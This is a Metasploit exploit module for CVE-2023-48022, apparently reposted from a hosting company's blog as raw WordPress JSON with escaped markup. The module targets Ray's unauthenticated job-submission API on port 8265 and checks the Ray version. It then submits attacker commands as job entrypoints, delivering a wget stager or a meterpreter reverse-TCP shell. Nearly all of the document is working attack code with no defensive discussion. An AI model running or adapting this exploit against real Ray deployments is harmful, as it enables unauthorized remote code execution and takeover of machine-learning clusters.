##
# This module requires Metasploit: https:\/\/metasploit.com\/download
# Current source: https:\/\/github.com\/rapid7\/metasploit-framework
##<\/p>\n
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking<\/p>\n
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager
prepend Msf::Exploit::Remote::AutoCheck<\/p>\n
def initialize(info = {})
super(
update_info(
info,
‘Name’ => ‘Ray Agent Job RCE’,
‘Description’ => %q{
RCE in Ray via the agent job submission endpoint.
This is intended functionality as Ray’s main purpose is executing arbitrary workloads.
By default Ray has no authentication.
},
‘Author’ => [
‘sierrabearchell’, # Vulnerability discovery
‘byt3bl33d3r <marcello@protectai.com>’, # Python Metasploit module
‘Takahiro Yokoyama’ # Metasploit module
],
‘License’ => MSF_LICENSE,
‘References’ => [
[‘CVE’, ‘2023-48022’],
[‘URL’, ‘https:\/\/huntr.com\/bounties\/b507a6a0-c61a-4508-9101-fceb572b0385\/’],
[‘URL’, ‘https:\/\/huntr.com\/bounties\/787a07c0-5535-469f-8c53-3efa4e5717c7\/’]],
‘CmdStagerFlavor’ => %i[wget],
‘Payload’ => {
‘DisableNops’ => true
},
‘Platform’ => %w[linux],
‘Targets’ => [
[ ‘Linux x64’, { ‘Arch’ => ARCH_X64, ‘Platform’ => ‘linux’ } ],
[ ‘Linux x86’, { ‘Arch’ => ARCH_X86, ‘Platform’ => ‘linux’ } ],
[ ‘Linux aarch64’, { ‘Arch’ => ARCH_AARCH64, ‘Platform’ => ‘linux’ } ],
[
‘Linux Command’, {
‘Arch’ => [ ARCH_CMD ], ‘Platform’ => [ ‘unix’, ‘linux’ ], ‘Type’ => :nix_cmd,
‘DefaultOptions’ => {
‘PAYLOAD’ => ‘cmd\/linux\/http\/x64\/meterpreter_reverse_tcp’,
‘FETCH_COMMAND’ => ‘WGET’,
‘MeterpreterTryToFork’ => true
}
}
]],
‘DefaultTarget’ => 0,
‘DisclosureDate’ => ‘2023-11-15’,
‘Notes’ => {
‘Stability’ => [ CRASH_SAFE, ],
‘SideEffects’ => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ],
‘Reliability’ => [ REPEATABLE_SESSION, ]}
)
)<\/p>\n
register_options(
[
Opt::RPORT(8265),
])
end<\/p>\n
def get_job_data(cmd)
res = send_request_cgi({
‘method’ => ‘POST’,
‘uri’ => normalize_uri(target_uri.path, ‘api\/jobs\/’),
‘data’ => { ‘entrypoint’ => cmd }.to_json
})
unless res && res.code == 200
res = send_request_cgi({
‘method’ => ‘POST’,
‘uri’ => normalize_uri(target_uri.path, ‘api\/job_agent\/jobs\/’),
‘data’ => { ‘entrypoint’ => cmd }.to_json
})
end
return unless res && res.code == 200<\/p>\n
JSON.parse(res.body)
end<\/p>\n
def check
res = send_request_cgi({
‘method’ => ‘GET’,
‘uri’ => normalize_uri(target_uri.path, ‘api\/version’)
})
return Exploit::CheckCode::Unknown unless res && res.code == 200<\/p>\n
ray_version = res.get_json_document[‘ray_version’]\n
return Exploit::CheckCode::Unknown unless ray_version<\/p>\n
return Exploit::CheckCode::Safe unless Rex::Version.new(ray_version) <= Rex::Version.new(‘2.6.3’)<\/p>\n
@job_data = get_job_data(‘ls’)
return Exploit::CheckCode::Vulnerable unless @job_data.nil?<\/p>\n
Exploit::CheckCode::Appears
end<\/p>\n
def exploit
@job_data ||= get_job_data(‘ls’)
if @job_data
print_good(“Command execution successful. Job ID: ‘#{@job_data[‘job_id’]}’ Submission ID: ‘#{@job_data[‘submission_id’]}'”)
end
case target[‘Type’]when :nix_cmd
execute_command(payload.encoded)
else
execute_cmdstager({ flavor: :wget })
end
end<\/p>\n
def execute_command(cmd, _opts = {})
get_job_data(cmd)
end<\/p>\n
end<\/p>\n","protected":false},"excerpt":{"rendered":"
### This module requires Metasploit: https:\/\/metasploit.com\/download# Current source: https:\/\/github.com\/rapid7\/metasploit-framework## class MetasploitModule < Msf::Exploit::RemoteRank = ExcellentRanking include Msf::Exploit::Remote::HttpClientinclude Msf::Exploit::CmdStagerprepend Msf::Exploit::Remote::AutoCheck def initialize(info = {})super(update_info(info,‘Name’ => ‘Ray Agent Job RCE’,‘Description’ => %q{RCE in Ray via the agent job submission endpoint.This is intended functionality as Ray’s main purpose is executing arbitrary workloads.By default Ray has no authentication.},‘Author’ => …<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-59126","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59126","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=59126"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59126\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=59126"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=59126"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=59126"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}